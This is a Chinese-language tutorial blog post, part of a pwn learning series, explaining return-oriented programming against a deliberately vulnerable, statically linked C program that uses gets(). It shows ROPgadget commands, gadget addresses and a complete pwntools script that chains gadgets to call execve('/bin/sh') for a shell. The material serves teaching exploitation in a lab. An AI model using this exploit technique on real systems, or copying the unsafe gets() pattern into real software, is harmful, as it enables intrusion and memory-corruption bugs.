iT邦幫忙

2024 iThome 鐵人賽

DAY 8
0
Security

Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲系列 第 8

[Day8] Stack 攻擊手法 - ROP:靜態連結

  • 分享至 

  • xImage
  •  

上一篇文章中,我們提到了保護機制 NX,啟用了 NX 代表我們不能執行位於資料段的 Shellcode,那怎麼辦呢?那就不要自己注入,直接執行程式當中的吧!但是程式中並沒有像 win() 這樣的後門函數可以直接利用,這時我們該怎麼辦呢?

我們可以透過 ROP(Return-Oriented Programming)這個手法!本篇文章將仔細說明如何利用 ROP Bypass NX。
文章架構如下:

  • ROP(Return-Oriented Programming)
  • 程式碼分析
  • Exploit
    • Gadget Address
    • Payload

ROP(Return-Oriented Programming)

雖然程式中沒有完整的後門函數可以直接執行,但是程式是由一行一行的指令組成的,那如果我們把這些指令組合起來,是否就能創建一條能達成攻擊目標的指令鏈呢?這正是 ROP(Return-Oriented Programming) 的核心概念,即利用現有的程式指令片段來實現攻擊。

這些指令片段稱為 Gadget。每個 Gadget 通常包含幾行指令,並且以一條 ret(return)指令結尾,例如下面這段程式片段:
image
可以看到從 0x402028 開始會將 Stack 最上層的值 Pop 給 RDI 這個暫存器,接著執行 ret,會將 Stack 最上層的值 Pop 給 RIP,CPU 就會接著執行下一行程式,即 RIP 裡儲存的地址。

也就是說,如果我們現在透過 Stack Buffer Overflow 把 Stack 變成下面這樣,我們就能跳到 0x402028 並控制 RDI 的值為 /bin/sh
image

如果我們再繼續填更多的 Gatget 進入 Stack,使程式按照我們的計畫執行這些 Gadget,最終成功 Pwn。

簡單來說,ROP 是在沒有 Shellcode 或後門函數的情況下,藉由重新組合程式內部的現有指令來達成類似的效果。由於 ROP 是利用已經存在於程式執行段的合法程式指令,而非我們自己注入的 Shellcode,因此能夠繞過 NX 的限制。我們只需控制返回地址,即可讓程式按預期執行 Gadget,逐步完成攻擊。

接下來,我們將探討如何尋找這些 Gadget,以及如何組合它們來實現攻擊目標。本篇文章將會以一隻靜態連結的程式做示範,如下:

#include <stdio.h>

int main(void)
{
    char answer[8];
    
    printf("Do you know the difference between /bin/bash and /bin/sh");
    printf("\nEnter the answer (yes/no): \n");
    
    gets(answer);
    printf("Your answer: %s\n", answer);

    return 0;
}

請讀者使用以下命令編譯程式碼。
gcc -fno-stack-protector -no-pie -static -o rop rop.c
此編譯方式會將 Canary、 PIE 並且以靜態連結形式編譯。


程式碼分析

這是一隻簡單的程式,可以很明顯看到使用了 gets(),因此有 Stack Buffer Overflow 的漏洞。

image
從組合語言來看,程式也很明確的分成六個區塊,其中我們需要關注的是紅框,也就是透過 gets() 輸入這段,可以看到輸入的位置為 rbp-0x8。因此構造 Payload 時就知道需要填充 0x8 + 8 個才會碰到 Return Address。


Exploit

從上述程式碼分析可以得出有 Stack Buffer Overflow,並且沒有後門函數,也沒有關閉 NX 保護機制。但我們知道程式是靜態連結,代表著所有使用到的外部函數全部都會被包進 bof 這個執行檔中,因此我們有機會透過 bof 本身中的 Gadget 來執行 execve("/bin/sh", NULL, NULL),來分析要如何執行execve(),我們需要:

  1. 讓第一個參數 RDI 存入 "/bin/sh"
  2. 讓第二個參數 RSI 為 0
  3. 讓第三個參數 RDX 為 0
  4. RAX 存入 execve() 的編號 0x3b
  5. 執行 syscall 指令

因此我們需要幾段 Gadget:

  1. pop rdi; ret; 的位址,用於存入 RDI
  2. "/bin/sh" 字串的位址
  3. pop rsi; ret; 的位址,用於存入 RSI
  4. pop rdx; ret; 的位址,用於存入 RDX
  5. pop rax; ret; 的位址,用於存入 RAX
  6. syscall 指令的位址

Gadget Address

那要如何找到這些 Gadget 的位址呢?我們可以使用 ROPgadget 這個工具。

用法為 ROPgadget --binary file 後面再加參數,我們先找所有需要 pop 的位址,使用下方指令:
ROPgadget --binary ./rop --only 'pop|ret' | grep -E 'rdi|rsi|rdx|rax'
ROPgadget 會幫我們選出所有以 pop 開頭 ret 結束的 Gadget 位址,接著在透過 grep 選擇我們需要的暫存器,結果如下:
image
越單純越好,因此我們挑選這四條
image
可以注意到 pop rdx 後面還會接一個 pop rbx,我們不需要用到也不影響到其他 Gadget 所以沒關係,到時候隨便填入一個值就好。

由於我們沒有開啟 PIE 保護,因此現在可以在我們的攻擊腳本填入直接這幾個位址(註):

pop_rax = 0x000000000041d2b7
pop_rdi = 0x0000000000402028
pop_rdx_rbx = 0x000000000045f657
pop_rsi = 0x0000000000408bc0

註:若開啟 PIE 保護,則需要透過 Leak Address 找出偏移的多少,並且將 ROPgadget 的結果加上偏移量才會是最後程式真正的位址。

接著在使用以下命令找 syscall
ROPgadget --binary ./rop --only 'syscall'
image

syscall = 0x0000000000401292

最後使用以下命令找 "\bin\sh"
ROPgadget --binary ./rop --string '/bin/sh'
image

bin_sh_addr = 0x0000000000473041

Payload

接下來就能構造 Payload 了,前面有分析過需要填充 0x8 + 8 個才會碰到 Return Address。

padding = b'A' * (0x8 + 8)

接著我們就能依據我們需要的內容從 Return Address 往後填充,變成這樣:
image

payloag = flat(
    padding,
    pop_rdi,
    bin_sh_addr,
    pop_rsi,
    0,
    pop_rdx_rbx,
    0,
    0,
    pop_rax,
    0x3b,
    syscall
)

整隻攻擊腳本如下:

from pwn import *

context.binary = './rop'
p = process('./rop')

pop_rdi = 0x0000000000402028
bin_sh_addr = 0x0000000000473041

pop_rsi = 0x0000000000408bc0

pop_rdx_rbx = 0x000000000045f657

pop_rax = 0x000000000041d2b7
syscall = 0x0000000000401292

padding = b'A' * (0x8 + 8)
payloag = flat(
    padding,
    pop_rdi,
    bin_sh_addr,
    pop_rsi,
    0,
    pop_rdx_rbx,
    0,
    0,
    pop_rax,
    0x3b,
    syscall
)

p.sendlineafter('no): \n', payloag)
p.interactive()

當我們執行起來後,整個 ROP Chain 會像這樣運作:
image
image


上一篇
[Day7] Stack 攻擊手法 - ret2sc & 保護機制 - NX
下一篇
[Day9] Stack 攻擊手法 - ROP:動態連結
系列文
Pwn2Noooo! 執行即 Crash 的 PWNer 養成遊戲13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言